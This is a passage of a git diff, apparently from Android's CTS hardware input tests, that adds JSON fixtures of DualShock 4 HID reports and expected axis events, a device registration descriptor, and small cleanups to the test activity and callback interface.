+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
+      0x2e, 0x80, 0xf2]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press down",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0xc0, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63,
+      0x71, 0xc1, 0xc7],
+      [0x11, 0xc0, 0x00, 0x80, 0xff, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70,
+      0xae, 0x0c, 0x55],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
+      0x2e, 0x80, 0xf2]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": 0.51}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press left",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x40, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45,
+      0x07, 0xe9, 0x34],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x00, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6d,
+      0xe2, 0x1e, 0xc0],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
+      0x2e, 0x80, 0xf2]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Z": -1}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press right",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0xc0, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54,
+      0xcb, 0x77, 0x06],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0xff, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98,
+      0x43, 0x26, 0x19],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
+      0x2e, 0x80, 0xf2]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.51}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 1}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press up",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x40, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46,
+      0xa5, 0x70, 0x97],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50,
+      0xdc, 0x20, 0xb4],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
+      0x2e, 0x80, 0xf2]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": -1}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press down",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0xc0, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a,
+      0x57, 0xd0, 0xd1],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0xff, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb9,
+      0xf5, 0xdb, 0x5a],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
+      0x2e, 0x80, 0xf2]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0.51}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 1}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+    ]
+  },
+
+  {
+    "name": "Left trigger - quick press",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12,
+      0x9b, 0xd9, 0xda],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84,
+      0xee, 0xd2, 0x0e],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
+      0x2e, 0x80, 0xf2]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0.5, "AXIS_BRAKE": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 1.0, "AXIS_BRAKE": 1.0}},
+      {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0, "AXIS_BRAKE": 0}}
+    ]
+  },
+
+  {
+    "name": "Right trigger - quick press",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44,
+      0xde, 0x8d, 0xa9],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x27,
+      0xaa, 0xc8, 0x19],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c,
+      0x2e, 0x80, 0xf2]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0.5, "AXIS_GAS": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 1.0, "AXIS_GAS": 1.0}},
+      {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0, "AXIS_GAS": 0}}
+    ]
+  }
+]
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_register.json b/tests/tests/hardware/res/raw/sony_dualshock4_register.json
new file mode 100644
index 0000000..cd33b9e
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_register.json
@@ -0,0 +1,49 @@
+{
+  "id": 1,
+  "command": "register",
+  "name": "Sony DS4 Joystick (Test)",
+  "vid": 0x054c,
+  "pid": 0x09cc,
+  "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x30, 0x09, 0x31, 0x09, 0x32,
+    0x09, 0x35, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x04, 0x81, 0x02, 0x09, 0x39, 0x15,
+    0x00, 0x25, 0x07, 0x75, 0x04, 0x95, 0x01, 0x81, 0x42, 0x05, 0x09, 0x19, 0x01, 0x29, 0x0e, 0x15,
+    0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x0e, 0x81, 0x02, 0x75, 0x06, 0x95, 0x01, 0x81, 0x01, 0x05,
+    0x01, 0x09, 0x33, 0x09, 0x34, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x02, 0x81, 0x02,
+    0x06, 0x04, 0xff, 0x85, 0x02, 0x09, 0x24, 0x95, 0x24, 0xb1, 0x02, 0x85, 0xa3, 0x09, 0x25, 0x95,
+    0x30, 0xb1, 0x02, 0x85, 0x05, 0x09, 0x26, 0x95, 0x28, 0xb1, 0x02, 0x85, 0x06, 0x09, 0x27, 0x95,
+    0x34, 0xb1, 0x02, 0x85, 0x07, 0x09, 0x28, 0x95, 0x30, 0xb1, 0x02, 0x85, 0x08, 0x09, 0x29, 0x95,
+    0x2f, 0xb1, 0x02, 0x85, 0x09, 0x09, 0x2a, 0x95, 0x13, 0xb1, 0x02, 0x06, 0x03, 0xff, 0x85, 0x03,
+    0x09, 0x21, 0x95, 0x26, 0xb1, 0x02, 0x85, 0x04, 0x09, 0x22, 0x95, 0x2e, 0xb1, 0x02, 0x85, 0xf0,
+    0x09, 0x47, 0x95, 0x3f, 0xb1, 0x02, 0x85, 0xf1, 0x09, 0x48, 0x95, 0x3f, 0xb1, 0x02, 0x85, 0xf2,
+    0x09, 0x49, 0x95, 0x0f, 0xb1, 0x02, 0x06, 0x00, 0xff, 0x85, 0x11, 0x09, 0x20, 0x15, 0x00, 0x26,
+    0xff, 0x00, 0x75, 0x08, 0x95, 0x4d, 0x81, 0x02, 0x09, 0x21, 0x91, 0x02, 0x85, 0x12, 0x09, 0x22,
+    0x95, 0x8d, 0x81, 0x02, 0x09, 0x23, 0x91, 0x02, 0x85, 0x13, 0x09, 0x24, 0x95, 0xcd, 0x81, 0x02,
+    0x09, 0x25, 0x91, 0x02, 0x85, 0x14, 0x09, 0x26, 0x96, 0x0d, 0x01, 0x81, 0x02, 0x09, 0x27, 0x91,
+    0x02, 0x85, 0x15, 0x09, 0x28, 0x96, 0x4d, 0x01, 0x81, 0x02, 0x09, 0x29, 0x91, 0x02, 0x85, 0x16,
+    0x09, 0x2a, 0x96, 0x8d, 0x01, 0x81, 0x02, 0x09, 0x2b, 0x91, 0x02, 0x85, 0x17, 0x09, 0x2c, 0x96,
+    0xcd, 0x01, 0x81, 0x02, 0x09, 0x2d, 0x91, 0x02, 0x85, 0x18, 0x09, 0x2e, 0x96, 0x0d, 0x02, 0x81,
+    0x02, 0x09, 0x2f, 0x91, 0x02, 0x85, 0x19, 0x09, 0x30, 0x96, 0x22, 0x02, 0x81, 0x02, 0x09, 0x31,
+    0x91, 0x02, 0x06, 0x80, 0xff, 0x85, 0x82, 0x09, 0x22, 0x95, 0x3f, 0xb1, 0x02, 0x85, 0x83, 0x09,
+    0x23, 0xb1, 0x02, 0x85, 0x84, 0x09, 0x24, 0xb1, 0x02, 0x85, 0x90, 0x09, 0x30, 0xb1, 0x02, 0x85,
+    0x91, 0x09, 0x31, 0xb1, 0x02, 0x85, 0x92, 0x09, 0x32, 0xb1, 0x02, 0x85, 0x93, 0x09, 0x33, 0xb1,
+    0x02, 0x85, 0xa0, 0x09, 0x40, 0xb1, 0x02, 0x85, 0xa4, 0x09, 0x44, 0xb1, 0x02, 0x85, 0xa7, 0x09,
+    0x45, 0xb1, 0x02, 0x85, 0xa8, 0x09, 0x45, 0xb1, 0x02, 0x85, 0xa9, 0x09, 0x45, 0xb1, 0x02, 0x85,
+    0xaa, 0x09, 0x45, 0xb1, 0x02, 0x85, 0xab, 0x09, 0x45, 0xb1, 0x02, 0x85, 0xac, 0x09, 0x45, 0xb1,
+    0x02, 0x85, 0xad, 0x09, 0x45, 0xb1, 0x02, 0x85, 0xb1, 0x09, 0x45, 0xb1, 0x02, 0x85, 0xb2, 0x09,
+    0x46, 0xb1, 0x02, 0x85, 0xb3, 0x09, 0x45, 0xb1, 0x02, 0x85, 0xb4, 0x09, 0x46, 0xb1, 0x02, 0xc0],
+  "feature_reports": [
+    {
+      "id": 5,
+      "data": [0x05, 0x1e, 0x00, 0x05, 0x00, 0xe2, 0xff, 0xf2, 0x22, 0xbe, 0x22, 0x8d, 0x22, 0x4f,
+        0xdd, 0x4d, 0xdd, 0x39, 0xdd, 0x1c, 0x02, 0x1c, 0x02, 0xe3, 0x1f, 0x8b, 0xdf, 0x8c, 0x1e,
+        0xb4, 0xde, 0x30, 0x20, 0x71, 0xe0, 0x10, 0x00, 0xca, 0xfc, 0x64, 0x4d]
+    },
+    {
+      "id": 0xa3,
+      "data": [0xa3, 0x41, 0x70, 0x72, 0x20, 0x20, 0x38, 0x20, 0x32, 0x30, 0x31, 0x34, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x30, 0x39, 0x3a, 0x34, 0x36, 0x3a, 0x30, 0x36, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x43, 0x03, 0x00, 0x00, 0x00, 0x51, 0x00, 0x05,
+        0x00, 0x00, 0x80, 0x03, 0x00]
+    }
+  ]
+}
diff --git a/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java b/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
index 9e1366a..a9ddfc7 100644
--- a/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
@@ -147,7 +147,7 @@
     }
 
     @Test
-    @CddTest(requirement="7.6.2/H-0-1")
+    @CddTest(requirement="7.6.2")
     public void testMinSharedDataPartitionSize() {
         assertDataPartitionMinimumSize(
                 "Shared data",
@@ -156,7 +156,7 @@
     }
 
     @Test
-    @CddTest(requirement="7.6.1/H-9-2,T-0-1,A-0-1,7.6.1/H-10-1")
+    @CddTest(requirement="7.6.1/H-9-2,7.6.1/H-10-1")
     public void testMinDataPartitionSize() {
         long totalMemoryMb = getTotalMemory() / ONE_MEGABYTE;
         boolean lowRam = totalMemoryMb <= LOW_RAM_MAX;
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/InputCallback.java b/tests/tests/hardware/src/android/hardware/input/cts/InputCallback.java
index b4bda4e..d0842c1 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/InputCallback.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/InputCallback.java
@@ -20,9 +20,6 @@
 import android.view.MotionEvent;
 
 public interface InputCallback {
-    public void onKeyEvent(KeyEvent ev);
-    public void onMotionEvent(MotionEvent ev);
-    public void onInputDeviceAdded(int deviceId);
-    public void onInputDeviceRemoved(int deviceId);
-    public void onInputDeviceChanged(int deviceId);
+    void onKeyEvent(KeyEvent ev);
+    void onMotionEvent(MotionEvent ev);
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java b/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java
index 72aa056..028b18e 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java
@@ -17,26 +17,18 @@
 package android.hardware.input.cts;
 
 import android.app.Activity;
-import android.content.Context;
-import android.hardware.input.InputManager;
-import android.hardware.input.InputManager.InputDeviceListener;
 import android.os.Bundle;
-import android.util.Log;
 import android.view.KeyEvent;
 import android.view.MotionEvent;
 
-public class InputCtsActivity extends Activity implements InputDeviceListener {
+public class InputCtsActivity extends Activity {
     private static final String TAG = "InputCtsActivity";
 
     private InputCallback mInputCallback;
 
-    private InputManager mInputManager;
-
     @Override
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
-        mInputManager = getApplicationContext().getSystemService(InputManager.class);
-        mInputManager.registerInputDeviceListener(this, null);
     }
 
     @Override
@@ -74,20 +66,4 @@
     public void setInputCallback(InputCallback callback) {
         mInputCallback = callback;
     }
-
-    @Override
-    public void onInputDeviceAdded(int deviceId) {
-        mInputCallback.onInputDeviceAdded(deviceId);
-    }
-
-    @Override
-    public void onInputDeviceRemoved(int deviceId) {
-        mInputCallback.onInputDeviceRemoved(deviceId);
-    }
-
-    @Override
-    public void onInputDeviceChanged(int deviceId) {
-        mInputManager.getInputDevice(deviceId); // if this isn't called, won't get new notifications
-        mInputCallback.onInputDeviceChanged(deviceId);
-    }
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTestCase.java
new file mode 100644
index 0000000..b36caf3
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTestCase.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
